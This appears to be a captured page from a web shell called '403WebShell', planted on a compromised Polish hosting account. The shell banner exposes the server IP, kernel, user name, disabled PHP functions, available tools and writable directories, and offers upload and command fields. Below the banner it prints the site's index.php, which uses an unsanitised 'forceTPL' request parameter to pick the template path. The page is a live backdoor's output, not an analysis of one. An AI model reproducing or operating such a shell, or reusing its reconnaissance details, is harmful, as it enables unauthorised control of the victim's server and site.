Done ! 403WebShell
403Webshell
Server IP : 194.181.228.65  /  Your IP : 216.73.216.25
Web Server : LiteSpeed
System : Linux wn13.webd.pl 5.14.0-687.46.1.el9_8.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Sep 11 09:03:19 EDT 2026 x86_64
User : prusit ( 133039)
PHP Version : 5.6.40
Disable Function : exec, system, shell_exec, passthru, proc_open, proc_close, popen
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/prusit/public_html/slonecznik/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/prusit/public_html/slonecznik/index.php
 <?php  
	error_reporting(E_ALL);
	include "redirects.php";

/*
ini_set('display_errors', 1);
ini_set('display_startup_errors', 1);
error_reporting(E_ALL);
	*/
	#var_dump($_SERVER);
	/*if($_SERVER['HTTP_HOST'] != 'www.slonecznik.com.pl'){
		header("Location: http://www.slonecznik.com.pl");
	}*/
  
	


/*pulapka na wirusy
<html>
<head>

</head>
<body>
 
</body>
</html> 
*/
date_default_timezone_set('Europe/Paris' );

session_start();

if ( isset($_GET['session']) && $_GET['session'] == 'destroy' ){
    session_destroy();
}

ob_start();



$buff = '';

include_once('admin/includes/mail/class.phpmailer.php');

$rClasses = Array('MicroTimer',
                  'Db',
                  'Registry',
                  'Logger',
                  'Main',
                  'Template',
                  'Images',
                  'Shop',
                  'Offer',
                  'Order',
                  'News',
                  'Gallery',
                  'User');

  foreach ( $rClasses as $rClass )
  {
    if ( file_exists( 'lib/'.$rClass.'.class.php' ) && is_readable( 'lib/'.$rClass.'.class.php' ) )
    {
      require 'lib/'.$rClass.'.class.php';
    }
  }



if ( !is_dir('!data/logs') )
{
  @mkdir('!data/logs');
}

$test = scandir('!data');
array_shift($test);
array_shift($test);
foreach($test as $t)
{
	if(is_dir('!data/'.$t) && !is_writable('!data/'.$t))
		$buff .= 'Katalog !data/'.$t.' nie ma praw do zapisu! <br>';
}



require_once 'lib/config.inc.php';
define('SHOW_QUERY', false);

function exceptionDie(Exception $e){
    if(DEBUG) {
        $buff = '';
        $buff .= $e->getMessage().'<br>';
        $buff .= 'Plik: '.$e->getFile().'<br>';
        $buff .= 'Linia: '.$e->getLine().'<br>';
        $buff .= 'Trace: '.$e->getTraceAsString().'<br>';
        $buff .= 'Kod: '.$e->getCode().'<br>';
		die('<p style="color:red; border:1px #cdcdcd solid; background-color:#f5f5f5; padding:25px; margin:25px;">'.$buff.'</p>');
    }
    else {
        die('<p style="color:red; border:1px #cdcdcd solid; background-color:#f5f5f5; padding:25px; margin:25px;">Przepraszamy, wystąpił bład!</p>');
    }
}

//logger odpalamy najpierw, zeby bylo wiadomo ze mozna logowac bledy
$logger = Logger::getInstance();

try
{
	
	$db = db::getInstance();
	registry :: set('db', $db);
		 
	if(!isset($_SESSION['cclang'])) {
	    $_SESSION['cclang'] = 'pl';
	}
	
	if(isset($_GET['a']) && $_GET['a'] == 'lang') {
	    $_SESSION['cclang'] = $_GET['b'];
	}
	registry :: set('lang', $_SESSION['cclang']);
	
	/*	
		// Wariant strony z intro
		if(isset($_GET['a']) && $_GET['a'] != '')
			$_SESSION['intro'] = true;
		
		if(!isset($_SESSION['intro']))
		{
			include 'intro.php';
			exit();
		}
	*/	
	
        // szukamy templatki
        $tplQ = mysql_query("
            SELECT *
            FROM `". registry::get('dbPrefix') ."settings`
            WHERE `var`='template' ");
        if ( $tplQ && mysql_num_rows($tplQ) ){
            $tplRet = mysql_fetch_object( $tplQ );
            $tpl = $tplRet->value;
        } else {
            $tpl = 'classic';
        }
        
	
    $dir = 'tpl/';
    if ( !is_dir($dir.$tpl) || !file_exists($dir.$tpl.'/akt') ){
        $tpls = scandir($dir);
        array_shift($tpls);
        
        foreach($tpls as $t){
            if(!is_dir($dir.$t)){
                continue;
            }

            if(file_exists($dir.$t.'/akt')){
                $tpl = $t;
                break;
            }
        }
    }
	

	// Wymuszanie szablonu
	if ( isSet($_GET['forceTPL']) ){
            $tpl = $_GET['forceTPL'];
        }

//	if(file_exists($dir.$tpl.'/actions.php')){
//            include $dir.$tpl.'/actions.php';
//        }
				
	// Inicjujemy stronę
	$template = new Template($tpl, $_SESSION['cclang']);	
//	$template->getVisitorsCounter();
	$template->showPage();
}
catch (Exception $e) {
	$logger->error($e->getMessage(), $e->getCode());
    exceptionDie($e);
}
 
ob_flush();
exit();

Youez - 2016 - github.com/yon3zu
LinuXploit